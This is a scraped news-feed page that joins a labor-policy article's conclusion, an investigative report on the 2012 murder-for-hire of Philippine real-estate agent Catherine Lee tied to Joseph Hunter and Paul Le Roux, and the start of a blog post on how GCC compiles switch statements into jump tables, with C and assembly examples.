Recent years have seen numerous proposals calling for sectoral governance as a labor renewal strategy in New York and other parts of the country, including wage boards and tripartite bargaining structures. 47 In their implementation, however, such developments often have been relatively detached from and at times contradictory to grassroots efforts to grow worker power. 48 This disconnect weakens legal enforcement, hampers ongoing policy development that could be responsive to evolving worker needs and concerns, and limits possibilities for the kind of consciousness-raising work that can engender positive feedback loops between policy and organizing. This separation also constrains the capacity of workers to build direct associational power vis-à-vis employers, clients, and other holders of economic power.

In institutionalizing channels for workers to promote labor standards enforcement and shift broader workplace cultures, an infrastructure of mass worker education could amplify the capacity of frontline workers to meaningfully shape policy. Specifically, peer education could build on workers’ existing job-related knowledge to deepen understandings of industry dynamics and relevant policy debates; seed the formation of what ALU-IBT Local 1 leaders have called “tech governance councils,” which would combine strategic reflection on shop-floor organizing with proposals for enhancing worker voice in technology deployment; and facilitate recruitment of workers into mass sectoral assemblies. These assemblies could provide a forum for workers from different work sites, occupations, and job titles to convene around developing citywide organizing and policy strategies. Such assemblies could deepen member engagement in areas where unions already have a foothold and provide a space for unions to continue deepening their coalitional relationships with other communities. Critically, amid continued employer attacks on legal rights to free association, mass assemblies could build networks of support for collective action in areas with little or no union density as well.

We end by returning to our opening vignette of Amazon workers resisting acute forms of digital surveillance. Amid growing interest in the regulation of data collection and computational systems, the framework we have proposed would anchor shop-floor governance practices, like the efforts of Amazon workers to teach each other how to navigate the company’s surveillance systems, in the insights of workers who encounter these systems daily. Moreover, in establishing a consistent feedback loop from the point of production to sectoral assemblies and the halls of state power, the policy process would be infused with ongoing experimentation, reflection, and refinement. As big tech and other corporate actors seek greater control over nearly every aspect of economic, social, and political life, the Mamdani administration has an historic opportunity to create agile policy mechanisms that can respond to this rapidly shifting terrain—moving from the shop floor up.

New Labor Forum is a national labor journal from the Murphy Institute, at the CUNY School of Labor and Urban Studies, published by SAGE Press three times a year, in January, May, and September. Founded in 1997, the journal provides a place for labor and its allies to consider vital research, debate strategy, and test new ideas.

Show HN: Automatic deduction of FlashAttention kernel from ~25 lines of SQL

Hacker News
github.com
2026-10-30 16:09:47
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An Arrogant Way of Killing (2016)

Hacker News
magazine.atavist.com
2026-10-30 16:08:52
Comments...
Original Article
ap508237068-1478028610-65.jpg
Joseph Hunter in the custody of Thai police. (AP/Sakchai Lalit)

A journey to understand how a real-estate agent in the Philippines became the target of a criminal mastermind.

By Evan Ratliff

One

Jeremy Jimena had just started his shift when he found the body. At 6:30 on the morning of February 13, 2012, Jimena, a garbage collector in the Philippines, had set out with his driver on their regular route through Taytay, an industrial city an hour east of Manila. It had rained most of the night, and a light drizzle fell as they turned down Paseo Monte Carlo, a quiet road with no streetlights. Their first stop was a large vacant lot overrun by low shrubs, a green carpet of vines, and a scattering of banana trees.

The field wasn’t an official pickup spot, but local residents often dumped garbage there anyway, and the collectors had informally added it to their route. There was a small pile of trash that morning spilling into the road: two large grain bags filled with waste and a bulging, rolled-up bedspread. Jimena hopped off the truck and approached the pile. When he leaned down and grasped the damp edge of the blanket, he saw a human foot.

Jimena dropped the blanket and ran, shouting to the driver, and the two of them left the truck and sprinted to the municipal headquarters, 200 yards away. There they told Ricardo Maniego, the local head of security, what they found. Maniego called the police and brought a long cord to rope off the area, like he’d learned in first-responder training.

crimescene2-1478028609-38.jpg
The crime scene in Taytay on the morning of February 13, 2012.

Nearly four years later, in December 2015, I sat with Jimena outside the municipal headquarters. He is a small, wiry man with jet black hair and a wisp of a mustache. He looked off in the distance as he recounted the story, his eyes wide and mournful. He’d known right away that the foot was a woman’s, he said, but couldn’t remember much else. “I was shocked and disoriented,” he said.

After he’d shown Maniego the body, Jimena had returned to his route in a daze. He never spoke to the police, he told me, and never learned who the woman was. But for years, he had dreamed of her every night. “She’s screaming, asking me for help,” he said. “Sometimes she is wrapped in a blanket. Sometimes it wakes me up.”


I came to Taytay that afternoon because I believed that the woman Jimena had found was a small thread in a much larger story. Somewhere between a pile of American legal documents and a two-paragraph story about Jimena’s discovery in a Philippine newspaper, I had noticed a hazy connection between the body and a man named Paul Le Roux, a South African who was reputed to be the most prolific international criminal of the 21st century. The scant information I could find on Le Roux suggested his involvement in weapons shipments, gold smuggling, and online prescription-drug sales. But he was also a kind of phantom, reportedly captured by the United States Drug Enforcement Administration in 2012 and then disappeared to work as a valuable asset. My attempts to find out who Le Roux really was, and why the U.S. wanted so badly to keep him a secret, had led me from New York to Manila and then to this vacant lot, where I suspected that Le Roux’s ghostly influence had once been manifest.

The investigative division of the Taytay police is housed in a neglected cinder-block building on the side of a hill in the town’s historic district. I went there with a local Filipino-American journalist, Aurora Almendral, on the same day I met with Jimena. Almendral and I walked past a woman stapling Christmas decorations to the wall, through a pair of swinging doors, and into a cramped room with four officers’ desks. An air conditioner rattled in the window, and three detectives pecked away on ancient-looking computers.

Almendral, who had been helping me since I’d arrived in the country two days earlier, tried to rouse one of the detectives and explain, in Tagalog, why we were there. (The Philippines’ official languages are English and Filipino, which is a standardized form of Tagalog.) The chief of police had promised to show us where the body was found, but that morning he’d been called away by a kidnapping incident. The other cops, largely indifferent to our desires, had no idea when he would return. The original officer on the case, they said, had left the force and become a sailor.

While we waited, I stared at an oddly menacing police “Loyalty Pledge” that hung framed on the wall. “Remember that an ounce of loyalty is worth a pound of cleverness,” it read.

If you must growl, condemn and eternally find fault Why! resign your position. And when you are outside, Damn to your hearts content. But as long as your a part of the institution, Do not condemn it. If you do, the first high wind that comes along will blow you away And probably you’ll never know why.

After some coaxing from Almendral, an officer named Abigail Del Monte agreed to pull the case file. She returned from a back room and proceeded to flip through it idly at her desk, as if trying to discern why I had flown 8,000 miles and then driven three hours in the Philippines’ punishing traffic to visit a four-year-old crime scene.

Twenty minutes later, another detective, George Arada, wearing jeans and a denim jacket, showed up and suddenly the mood shifted. “You’re here for the Catherine Lee case?” he said. “OK, let’s go.” We offered our slightly beat-up rented van and driver for transportation, and Del Monte decided to join as well. We picked up Maniego, the local watchman, and drove over to the vacant lot.

Maniego showed us how he’d marked off the area back in February 2012. “The body was moved a little bit by the guy who picked up the blanket,” he said, officially. “I didn’t find out anything about who she was, because my job was just the immediate response.”

We walked over to an older woman selling drinks at a roadside stand next to the lot; she said she remembered that day, too. “I saw the body,” she said, “but it was covered up, so we couldn’t see who it was. Three streets down, somebody had been missing for a couple of days, so we thought it could be them.” Later, word came back from the cops that the body belonged to a real estate agent from another part of the country. When I asked what happened to the neighbor, the drink-stand woman said that the family of the missing person had been renters, and not long after they’d moved on.

I walked around taking photos, looking for signs that Jimena’s horrible discovery had somehow transformed this otherwise ordinary place. A group of young kids stopped to watch us, and I wondered if the incident had become part of their childhood lore. Whatever mark the body had left, I couldn’t see it. We piled back into the van, and on the drive back to the station I asked Arada and Del Monte whether they often encountered dead bodies in Taytay, a city of just under 300,000 people. “Sometimes over five in a month, but not over ten,” Arada said cheerfully. “It’s kind of a well-known place to dump bodies. Don’t tell the chief!” He laughed. The cases were difficult to solve, he said. The bodies were often mutilated or “broken up and stuffed in garbage bags.”

I asked if I could look at the case file, and to my surprise Del Monte handed it to me. Photos taken at the crime scene showed the body, unwrapped, lying facedown with its feet in the road, a crowd standing at the edge of the cordon.

The facts were spare: a team from the national police’s Scene of Crime Operations division had arrived at 7:50 that morning to examine the woman, who’d been found wearing a black jacket and jeans. An autopsy report listed the cause of “instantaneous death”: gunshot wounds under each eye.

The investigators had little trouble identifying the victim as Catherine Cristina Lee, a real estate broker from Las Piñas City, an hour south. She was found with her identification, as well as a Nokia smartphone, an Anne Klein wristwatch, a silver bracelet, and a pair of rings, gold and silver. She had not been robbed; there was no sign of sexual assault.

Deeper in the file, I discovered that I wasn’t the first person to travel to the Philippines and ask questions about the body. On one page were handwritten notes from a February 2015 meeting with a special agent from the DEA’s Los Angeles office, along with a copy of his business card. A follow-up report stated that two Americans had been arrested in connection with Lee’s murder. One of the two, according to the notes, had confessed, claiming that a Filipino local had supplied the murder weapon and the vehicle used to dump the body. At the bottom of the page, someone had written: “Hunter ordered.”

ratliffthem-1548262452-58.png

Two

A few days after Catherine Lee’s body was discovered, her husband contacted the Philippine National Bureau of Investigation (NBI) and requested that the agency look into her case. The ranks of local and national police in the Philippines are rife with corruption—“planting evidence is pretty much a regular occurrence,” the country’s former interior secretary Rafael Alunan told me—and the NBI has a better, though not perfect, reputation for integrity. The agency is required by law to take over cases at the request of victims’ families, and often those requests stem from concerns that local officers have been paid off, or worse. In targeted killings, as the Lee case appeared to be, it’s not unusual to hear whispers that cops themselves were in on the job. Contract murder is a thriving industry in the Philippines; having someone killed can cost as little as 5,000 pesos, or around $100. But police work pays poorly, and as much as 60 percent of the national police force lives below the poverty line. In 2013, Human Rights Watch documented police involvement in a death squad responsible for almost 300 killings over a six-year period in one city alone.

At NBI headquarters in Manila, the Death Investigation Division was housed in a drab, tiled-floor room with the insipid fluorescent lighting that marks bureaucracies worldwide. On the wall was a whiteboard outlining agents’ assignments, organized by nickname: “Cardinal,” “Undertaker,” “Mechanic,” “Hitman,” “Braveheart,” “Snakedoc,” “KGB.” Almendral and I went there one morning to see an agent named Rizaldy Rivera, a garrulous cop with a waist-length ponytail and a talent for sharpshooting. A natural showman, he urged us to check out his videos on YouTube. (Later I did; the clips—including one in which he cuts a credit card in half at 20 yards with a handgun, aiming over his shoulder using a compact mirror—are impressive.) Most people called him Zaldy, but his nickname around the NBI offices, he said, was Slayer, bestowed after he lucked into three shootouts early in his career, one of which left a bullet in his thigh.

It was Rivera who handled the Catherine Lee case after her husband had requested that the NBI take over the investigation. “I cannot provide the real names of the witnesses, or their addresses and photos, in order to protect them,” Rivera told us as Almendral and I sat in a pair of plastic lawn chairs in his cubicle, across a desk completely devoid of papers or equipment. Otherwise, he said, “I can probably answer any question that you want me to answer.”

He started at the beginning, talking above the sounds of an NBA basketball game from a television somewhere just out of sight. Over the course of an hour, Rivera laid out everything he knew about Catherine Lee’s murder. He spoke in the matter-of-fact style of a cop who had seen his share of vicious crimes. But at times, he sounded genuinely mystified that someone like Lee could end up a target.


catherinelee-1478028609-19.jpg
Catherine Lee in an undated photo.

In early February 2012, Catherine Lee received an email from a Canadian man living in Manila named Bill Maxwell. Maxwell said that he and his colleague, Tony, were looking to invest in real estate. They had searched online for a broker and found Lee, a well-known agent whose territory ranged throughout the southern part of the Philippines’ main island, Luzon. A few years prior, she had served as president of her local chapter of the Real Estate Brokers of the Philippines. “She won several trophies and awards,” Rivera said. Lee, who was 43 but looked younger, with a pixie haircut and a welcoming smile, “had good friends and made a good living,” he said.

Lee worked from her home, an attractive house in an upscale community in Las Piñas. She and her husband had purchased it not long before, with the help of a particularly large commission she’d earned. Much of her business came to her over the Internet—enough, at least, that she would be unlikely to think twice about scheduling a meeting with a client by email. “She never bothered to check the background of these people,” Rivera said. “That was her undoing.”

Bill and Tony didn’t specify what type of property they were looking for, only that they wanted a place farther south than Las Piñas; it could be commercial or residential, a vacation property or a ready-to-build lot, as long as it was a solid investment. For two days, she drove them from property to property, but the men weren’t ready to commit. For their third outing, on the morning of February 12, Lee met Bill and Tony on the outdoor patio of a Starbucks in Las Piñas, not far from her home. They were joined by three other real estate brokers she’d enlisted to help with the search.

The Canadians arrived in a silver Toyota Innova van. Bill was around six-foot-one, with a beard and a prominent belly. Tony was clean-shaven and wore a baseball cap. The group drove to a gated community called Ponderosa, a former flower farm located 40 miles south of Manila, where they examined a lush lot available for residential development. For lunch they stopped at a nearby spot popular with the locals called Mushroomburger, where they were joined by two property owners Lee knew at around 3:30 p.m.

The group then traveled to another farm about eight miles away, in Cavite. They arrived at 4:30 and wandered around for an hour. When it was time to leave, the brokers and the property owners departed in one car; Lee joined Bill and Tony in the Innova van. Sometime in the next ten hours, Lee was shot four times in the head at close range, rolled up in a blanket, and deposited in a pile of garbage.


slide102145-1478028609-43.jpg

Rivera pieced together Lee’s movements from interviews with her husband and everyone she had encountered that day, as well as information found on her laptop and phone. From her friends and a security guard at the gated community, he gleaned enough of a description of the two men to generate a pair of sketches. But when it came to the actual identity of the assailants, he hit a wall. “It was very hard to check with the immigration bureau in the Philippines,” Rivera said. “Because Bill Maxwell and Tony, the names were fictitious.”

As for physical evidence, there was little to go on. The Toyota van had no plates, although the security guard was able to supply the number from the van’s temporary registration sticker, given to newly purchased vehicles. When Rivera tried to trace it back to a Toyota dealer in Manila, nothing matched. He concluded that the car was probably rented and the number faked. Without the van, there would be no fingerprints, hair, or fibers.

One aspect of the crime stood out to Rivera: Lee had been shot once under each eye, with what forensics had determined was a .22-caliber handgun. “In our experience,” he said, “if you shoot a person dead, you don’t normally use a low-caliber firearm.” Hit men in the Philippines, he said, typically used “Armalite weapons, hand grenades, or a .40-caliber pistol. This is one of the few times that I discovered that the caliber was a .22 Magnum.” To Rivera, the weapon said something about the crime, namely “that it might be a type of signature killing.” He believed that Lee’s death was not a crime of passion but a professional murder committed by someone looking to send a message. “That’s an arrogant way of killing, putting two bullet holes beneath the eye,” he said. “That’s not how you normally execute a person.”

slide101457-1478028609-18.jpg

During his investigation, Rivera came across the case of a female customs agent killed in a similar manner. That case stalled, however, when the victim’s family declined to cooperate with the authorities.

After a few months, Rivera’s case dried up, too. Other murders required his attention. But like Jimena, he was haunted by the brutality of Lee’s killing. “I couldn’t sleep soundly at night. I was thinking about that case,” he said. “But the fact is, I cannot just proceed without solid evidence.”

For three years the file languished, until April 2015, when Rivera got a call from the U.S. embassy. The DEA had some information regarding the Catherine Lee case, an embassy liaison said. Almost two years earlier—18 months after Lee was murdered—the DEA had arrested a former Army Ranger who had been working in private security overseas. That arrest had led them to Rivera.

Three

In July 2013, the U.S. Attorney’s Office for the Southern District of New York, covering Manhattan, filed a sealed indictment charging Joseph Hunter, a 48-year-old decorated former U.S. soldier, with conspiracy to murder a law-enforcement agent. More specifically, Hunter stood accused of forming a team of international assassins to take out a snitch and a DEA agent on behalf of a Colombian drug cartel. On September 25, Hunter was captured in a raid on a safe house in Phuket, Thailand, and extradited to the U.S. Two members of his alleged assassination squad, for which he’d accepted résumés over the Internet, were picked up simultaneously in Liberia as they prepared to carry out the hit. The fourth and fifth were caught in Estonia on charges of arranging a drug deal. When I read the unsealed indictment a few days later, the whole thing sounded as if it were concocted by a dramatist with a flair for international intrigue.

usvjose1457-1478028610-19.jpg
The federal indictment of Joseph Hunter.

In a way it was. The DEA’s entire operation was a version of what’s called a reverse sting—or, in more common terms, a setup. The “Colombian drug lords” were paid informants playing well-rehearsed roles. The snitch and the DEA agent didn’t exist. The “safe house” had been wired for sound and video. For months the DEA had been stringing Hunter and his team along, arranging small gigs like guarding drug shipments in the Caribbean before springing their trap.

When the Department of Justice announced Hunter’s arrest, a wave of media coverage followed—not least because Hunter’s nickname in the field had been Rambo. After the headlines died down, the case embarked on the long slog toward trial. Federal cases often take years to wind their way to a jury, and very few ever make it there. Ninety-five percent end in a guilty plea, because even the best defense lawyers rarely have the wherewithal to face the power of a federal prosecution—particularly one with the kinds of resources that had been brought to bear on the Joseph Hunter case.

On December 21 2014, however, a reporter at The New York Times named Alan Feuer broke a strange new detail in the case . Hunter, he reported, had been working for a mysterious cartel boss named Paul Le Roux, who had once commanded a criminal empire of incredible power and scope. Le Roux had been arrested in 2012, Feuer revealed, and was now working for the U.S. government as a closely held confidential informant. By December 30, the Daily Mail had declared Le Roux “ the most successful criminal mastermind you’ve never heard of. ”

This second wave of press coverage preceded a pivotal motion in the case, filed by Hunter’s lawyer in Manhattan. It argued that the indictment against Hunter should be dismissed because the sting operation had been initiated by Hunter’s former boss, referred to by the government only as a confidential witness, or CW-1. Hunter had participated in his alleged crimes, the motion asserted, because he believed that his boss would kill him if he did not. The U.S. government’s use of a criminal as vicious as CW-1, the filing asserted, “shocks the conscience.”

Anyone paying attention now knew that CW-1 was Paul Le Roux. His name, however, remained redacted in every court filing. Any case files that might exist detailing Le Roux’s own arrest were sealed.

Then, four weeks later, Hunter suddenly pleaded guilty. There would be no defense that he had acted out of fear of Le Roux, no unmasking of his boss in court. Indeed, there would be no trial at all. Over the course of 2015, all of Hunter’s codefendants pleaded guilty, along with five defendants in a related methamphetamine-smuggling case. Their files were sealed and shelved, the guilty parties dispatched to federal prison or awaiting their sentence.


I’d been following the case largely through court documents. In the spring of 2015, as the trail on Le Roux went cold, I decided to reread everything that had been filed, thousands of pages across more than a dozen cases. Despite the secrecy surrounding Le Roux, it turned out that a great deal of information had been lodged in those documents. There were, for instance, scattered transcripts of recordings taken of Hunter and his team—two former German soldiers, a Polish ex–military sniper, and a fellow former American serviceman—from microphones hidden in the safe house in Phuket. On those recordings, Hunter can be heard preparing his team members to carry out jobs for the supposed Colombians. Hunter refers to killings-for-hire as “bonus work.” (In the transcripts that follow, the abbreviation “U/I” stands for “unintelligible.”)

Hunter: There’s a uhm… there’s a bonus for you [U/I] assassination so if you’re interested in that, you can do it. If you’re not interested and you don’t want to do it, but there’s big bonus money. I don’t, I don’t know [U/I] I say big, but it’s like for [U/I] it’s twenty five thousand and if it, if it’s [U/I] depending on the threat level, the price goes up.

Male 3: Good.

Hunter: So you guys have a problem with that?

Male 3: No.

Hunter: So there’s plenty of bonus for us. So you guys are in?

Male 1: Uhm-hum.

Hunter refers to his boss as “Benny,” or sometimes just “the boss,” and says that he pays up to $25,000 “for the bonus rate.” Hunter boasts about the kind of bonus work he’s done in the past or paid others to do—crimes that, as I read through the filings, didn’t appear to be part of his prosecution by U.S. authorities. “That one year, we killed nine people,” he says at one point, adding: “We only hurt bad people. Right? Everybody that stole money, or conned the boss or whatever.… These are all wrong people so you don’t have to worry about hurting innocent people.”

Even from Hunter’s casual bragging, I was astonished by the scope of the criminal activities his boss seemed to have enlisted him for.

Hunter: When we did it, we did it all. We, we hand grenaded, threw it, hand grenaded the people’s houses. We ah… not kidnapped a guy, but we conned him to come with us. We put him in the ocean, shot at him; he gave us the money back ah… assassinated people. Ah, what else we did? We smuggled gold. We smuggled weapons. Ah… We took weapons from Jakarta to the Philippines on the ship.

One time I went to Sri, Sri Lanka to buy hand grenades. We have guys in Somalia buying weapons that are making an arm… they were. They was making a army in Somalia because we were gonna invade an island; Maldives just… You can’t make it up.

Male 3: Yeah.

Hunter: Not even in a movie. This is real stuff. You see James Bond in the movie and you’re saying, “Oh, I can do that.” Well, you’re gonna do it now. Everything you see, or you’ve thought about you’re gonna do. It’s, it’s real and it’s up to you. You know how the government says if you work through the government [U/I] we don’t know you. Same thing with this job. No different right? So, that’s how it is. Same thing you do in the military except you’re doing for these guys you know? If you get caught in war, you get killed, right? Unless you surrender if they let you surrender or if you get you know, the same thing. This is… Everything’s just like you’re in war [U/I] now.

lerouxgale1-1478028611-90.jpg
Paul Le Roux, photographed at a Brazilian airport.

Here was an American ex-soldier, assisted by other Americans, acting as part of a rogue military-spy operation on behalf of an international criminal figure who, prior to December 2014, the public had never heard of. “El Chapo” Guzman, head of the Sinaloa cartel in Mexico, was by this time a famous figure worldwide. The notorious Russian arms trafficker Viktor Bout, arrested in a sting in Thailand and convicted in 2011, had been the subject of magazine articles, and a Nicolas Cage movie was based loosely on his exploits. But judging from the brief flurry of stories about Le Roux and the fragmented contents of the case files, he seemed to have a criminal appetite more voracious than either of them. In one Times article, a DEA agent called Le Roux “Viktor Bout on steroids.”

A surveillance photo of Le Roux, taken in an airport in Rio de Janeiro, surfaced from a Brazilian newspaper; it was purportedly the only image of him ever published. It’s a grainy shot of a doughy white man in a royal blue polo, with what appears to be tousled bleach-blond or silver hair and a darker, trim beard. He wears a slightly amused expression and, with the photo blown up, almost looks as if he’s winking at someone.


The thing that eventually led me to the Philippines was practically a footnote in the federal indictment against Hunter. Based on the recordings, prosecutors believed that Hunter “had in fact previously committed acts of violence for pay—including, among other things, arranging for the murders of two female real estate agents.” An afterthought to the case itself, the detail had lodged in my brain when I first read it back in 2013, and I kept returning to it. Why had international assassins for hire, working for a man with a worldwide criminal network taken the time to murder two real estate agents?

One of the murders, it turned out, was easy enough to understand. In the transcripts, Hunter described hiring a pair of hit men to kill a customs broker who’d failed to make good after accepting a bribe. “I guess that they had some kind of business with [the boss],” Hunter says in one transcript. “They get stuff through Customs right? They paid her and she didn’t do it.” After putting her under surveillance at home, unnamed assassins hired by Hunter discovered that the broker also worked as a real estate agent. They asked her to show them some rental properties, Hunter recounts, selected the best one at which to leave a body, and then asked to see it a second time. “They didn’t even go inside. They shot her at the door. Left her there, but it was raining that day so … there was no people out,” Hunter says. “They did it perfect no problems.”

Hunter then goes on to describe the killing of the second real estate agent, one that, by his standards, didn’t go as smoothly.

Hunter: I had two guys, two other guys that wanted bonus work. They did the job, but they did it sloppy. I fired them. I sent them back home.

Four

In mid-summer of 2015, three DEA agents met with Agent Rivera at the Death Investigations Division. “How can I help you guys?” Rivera told me he’d asked them. Rivera walked them through what he’d learned about the case, using a PowerPoint presentation to recap the investigation’s key points. When he finished, Rivera asked them jokingly, “From one to ten, how would you rate my investigation?” Everyone laughed. He asked them why they were looking at the Lee incident. “For the U.S. government to be interested in the death of Catherine Lee, it means something,” he said. “The Drug Enforcement Administration of the U.S. is a powerful organization. It handles global drug issues. So, in my mind, I can surmise that the death of Catherine Lee might have been connected to a drug cartel.”

When I visited him later that year, Rivera pulled out an iPad clad in a red case and tapped open the presentation. “Probably I can show you this, but not all,” he said, emphasizing that the witnesses would be in extreme danger if their identities were made public.

The DEA agents confirmed that Rivera’s hunch had been right: Bill Maxwell and Tony weren’t the men’s real names. They were not Canadian, nor did they live in the Philippines. The DEA related to him their suspicion that they were two Americans, 41-year-old Adam Samia and 47-year-old Carl David Stillwell, who lived in the small town of Roxboro, North Carolina.

The DEA agents had arrived in Manila with evidence from Hunter’s email and the recordings taken at the safe house in Thailand. Hunter, it seemed, had used his network of defense-contractor contacts as a mercenary-recruitment service on behalf of his boss. Sometime in 2011, the U.S. was prepared to allege, he had pegged Samia and Stillwell as potential hires for bonus work. “Boss says you are on standby until the other guy is ready and you guys will come here together for Ninja stuff,” Hunter wrote Samia in the fall of that year, according to the prosecution’s filings. “We want you guys, but are just waiting until you and your partner can get on the same time table.”

By early December, Hunter reported back to the boss via email that the travel dates were set for January. “Adam will be leaving on the 8th and will be here on the 9th and the other guy will leave on the 10th and be here on the 11th. The WU”—Western Union, according to court filings—“of $1,625 goes to Adam Samia Roxboro, North Carolina USA.”

The plan was for the pair—whom Hunter referred to as “Sal” and “J.T.”—to fly to Manila, take taxis to a predetermined location, and get settled. The instructions were almost absurdly detailed, given the trip’s ultimate goal. “The taxi should cost like 220p with the tip,” Samia passed along to Stillwell on January 9. A few weeks later, Samia emailed Hunter an update, mixed with a chipper plea for additional cash:

Hey Bro we are going to need some OP funds ($3000.00) we both are just about broke we have spent all are money on finding a place to live, the car, phone load, food, taxi’s looking for a place to live, internet, stuff for here an more. I got them to throw a bed an ac so the boss does not have to buy them trying to save were I can!

Hunter, meanwhile, was requesting the necessary weapons for the job from the boss: “1 MP5 SD,” a semiautomatic rifle, along with “1 Rifle Silenced with optics” and “1 .22 or 380 Pistol Silenced.” Hunter set his charges up with more money, along with the weapons and a laptop bag “modified to hold the tool for concealment.”

By February 2, the DEA believed, Samia and Stillwell had begun tracking their target, following her car and staking out her home from a hardware store across the street. “She goes home there,” Samia allegedly reported to Stillwell, “but [is] always out of the house.” At some point not long after, they finally made contact with her and started looking at properties. Hunter, as he would describe it later in taped conversations, had given them detailed instructions on how to proceed with the hit: Get her into a car, drive a quarter-mile down the road, shoot her with a silenced handgun, and wrap her in a blanket.

“What these guys did, they didn’t listen to me,” Hunter says in one recorded conversation. “They went to all these different houses with her, where there was people living in the houses. So every house they went to, people saw them together. They saw their faces. They saw the real estate agent. So they went… They did this for like three different days. So like one hundred people saw them.”

One hundred may have been an exaggeration, but Hunter was right that enough witnesses had seen two men with Lee that Rivera could generate sketches of them.

Hunter: So I got them on the plane. They were Americans so I got them back to America and then ah, I, I never… I didn’t give them anymore work because they put everyone in danger. I told them “You know how they would get caught? If the police and the Philippines was smart and not lazy, all they had to do was take the witnesses to the airport and look at each picture [U/I] of the foreigners and, and then that’s “Oh, that’s the guy!” Then they have his… they have his passport, his photo, right, but the police in the Philippines aren’t smart and they don’t… they’re lazy. They don’t do nothing. So those guys were lucky.… You got to use your brain in this job.

According to the DEA, on February 14 Samia and Stillwell emailed their expenses to Hunter. On the 27th, Samia let him know that “JT is rolling state side the 29th of FEB, I am heading out the 6th of March, I will drop [off] the car the 5th.” They wired their payments home and caught flights back to the U.S.

Five

Rivera introduced his DEA visitors to the witnesses he had interviewed about Lee’s last days. The agents showed them photos of the two Americans, Rivera told me, “mingled with seven or eight different photos of seven or eight different individuals, to check if the witnesses recognized or could identify the picture.” Five witnesses picked out the same men, Rivera recalled, saying, “‘Yes, this is the guy who rode with us.’ ‘This is the guy who rode with Catherine Lee.’ ‘This is the other guy who was with Catherine Lee the day she was last seen alive.’” Rivera said that after those sessions, one of the DEA agents faxed a report back to the States. The next day, Samia and Stillwell were arrested in Roxboro.

Local media reports described the pair as well-liked local guys who ran a small gun-paraphernalia company together.They traveled to gun shows to market accessories of their own invention, including a bra that doubled as a holster, called a Bosom Buddy. Agents seized over 150 weapons from Stillwell’s home. But aside from a few pictures on Samia’s Facebook page showing him brandishing and firing a variety of weapons—the kind of gun love that wouldn’t raise an eyebrow in most rural communities in America—they did not otherwise give off the impression of being international assassins. “Just knowing that these people have been in our community,” a neighbor told reporters, “I never would have guessed it.” The day after their arrest, the pair were transferred to New York to be prosecuted alongside Joseph Hunter. Both have pleaded not guilty to murder-for-hire, among other charges.

For his part, Rivera seemed pleased with the arrests, but he also expressed frustration about his own continuing investigation. The agents had told him about the Filipino who allegedly supplied the weapon and vehicle, but he still didn’t have enough information to track them down. He pointed out to me that the NBI hadn’t gotten any credit for the arrests of Samia and Stillwell, while at the same time suggesting that such credit was unnecessary. “We were not included. We were happy about that, it’s no problem with us. We have nothing to gain with being famous.”

It did seem odd to me, sitting in a cubicle at the Death Investigations Division, that the U.S. government would put this much effort into prosecuting two Americans for a murder of a Filipino woman outside Manila. Why not just extradite the pair to the Philippines, where the crime occurred, and hand them off to the NBI? Perhaps it was related to something more fundamental about the case that I still didn’t understand: Why was Catherine Lee important enough to fly two men across the world and pay them $70,000 to kill her?

It was because of “the Mastermind,” Rivera told me. “He is in U.S. custody.” Rivera would only identify this Mastermind at first by alluding to his role as the head of a powerful crime syndicate. But he did tell me the motive behind the murder. Rivera said that the Mastermind had enlisted Catherine Lee to purchase vacation property in Batangas, a coastal region south of Manila. He had given her money, at least 50 million pesos, or almost $3 million. “But the deal never materialized,” Rivera said, “because the person who Catherine Lee instructed to do the verification of the land, to arrange the deeds and everything, went off with the money.”

That person, some kind of fixer Lee worked with, had also been killed, Rivera believed. “The body was never found,” he said.

And then the Mastermind had ordered Lee’s murder, too.

screenshot1-1478028612-25.png
A previously unpublished photograph of Paul Le Roux.

I asked him if he would tell me the name of the Mastermind, and at first he demurred. He did have a name, he said, but he didn’t want to say it. “Maybe it’s an alias.”

“If I tell you the name that I think it is, will you tell me if that’s the person?”

“I will confirm,” he said.

“Paul Le Roux.”

Rivera slammed his fist down on the table, then held my gaze for several seconds in silence. “Hey, they did not inform me that,” he finally said with a smile that was hard to read. The DEA, he said, would “neither confirm nor deny it.” Then he lowered his voice to a whisper. “This Paul Le Roux,” he said, “is a very badass guy.” He widened his eyes. “A bad guy,” he said again. “That’s it.”


Update: On March 6, prosecutors released a bombshell motion in the case, claiming that Carl David Stillwell retained cell-phone photos dated the day of Catherine Lee’s murder—photos that “appear to depict, among other things, a white van similar to the one in which (according to witness accounts) Lee was murdered and a wounded human head.”


Read the next installment in “The Mastermind. ”

Switch lowering in GCC

Lobsters
xoranth.net
2026-10-30 16:00:34
Comments...
Original Article

Switch lowering in GCC


2024-01-14

Introduction

We have seen in a previous post that switch statements are more complex than they seem. The compiler is able to implement them as a decision tree (even though maybe it shouldn't). Is that everything it can do?

In this post, I'll focus on gcc . All optimizations, except the bitset lowering, translate to clang. I'll be using the -O3 optimization flag unless indicated otherwise.

I've also slightly edited gcc code and removed certain assertions for brevity.

Examples

Let us start with a simple example. A function that takes two integers x and val . Depending on the value of x , it calls a corresponding function ( f0 , f1 , and so forth) with val as an argument and returns the result. Were we to implement this manually, we'd would use an array of function pointers, where the input serves as the index into the array.

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int compact(int x, int val) {
    switch (x) {
        case 0:
            return f0(val);
        case 1:
            return f1(val);
        case 2:
            return f2(val);
        case 3:
            return f3(val);
        case 4:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
compact:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 4
	ja	.L2
	jmp	[QWORD PTR .L4[0+rax*8]]
.L4:
	.quad	.L8
	.quad	.L7
	.quad	.L6
	.quad	.L5
	.quad	.L3
.L5:
	jmp	f3
.L3:
	jmp	f4
.L8:
	jmp	f0
.L7:
	jmp	f1
.L6:
	jmp	f2
.L2:
	xor	eax, eax
	ret

The compiler agrees with this approach, and transforms the switch statement into a jump table.

Moreover, it is able to identify when the values are offset by a constant:

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int compact(int x, int val) {
    switch (x) {
        case 97:
            return f0(val);
        case 98:
            return f1(val);
        case 99:
            return f2(val);
        case 100:
            return f3(val);
        case 101:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
compact:
	lea	eax, [rdi-97]
	cmp	eax, 4
	ja	.L2
	mov	edi, esi
	jmp	[QWORD PTR .L4[0+rax*8]]
.L4:
	.quad	.L8
	.quad	.L7
	.quad	.L6
	.quad	.L5
	.quad	.L3
.L5:
	jmp	f3
.L3:
	jmp	f4
.L8:
	jmp	f0
.L7:
	jmp	f1
.L6:
	jmp	f2
.L2:
	xor	eax, eax
	ret

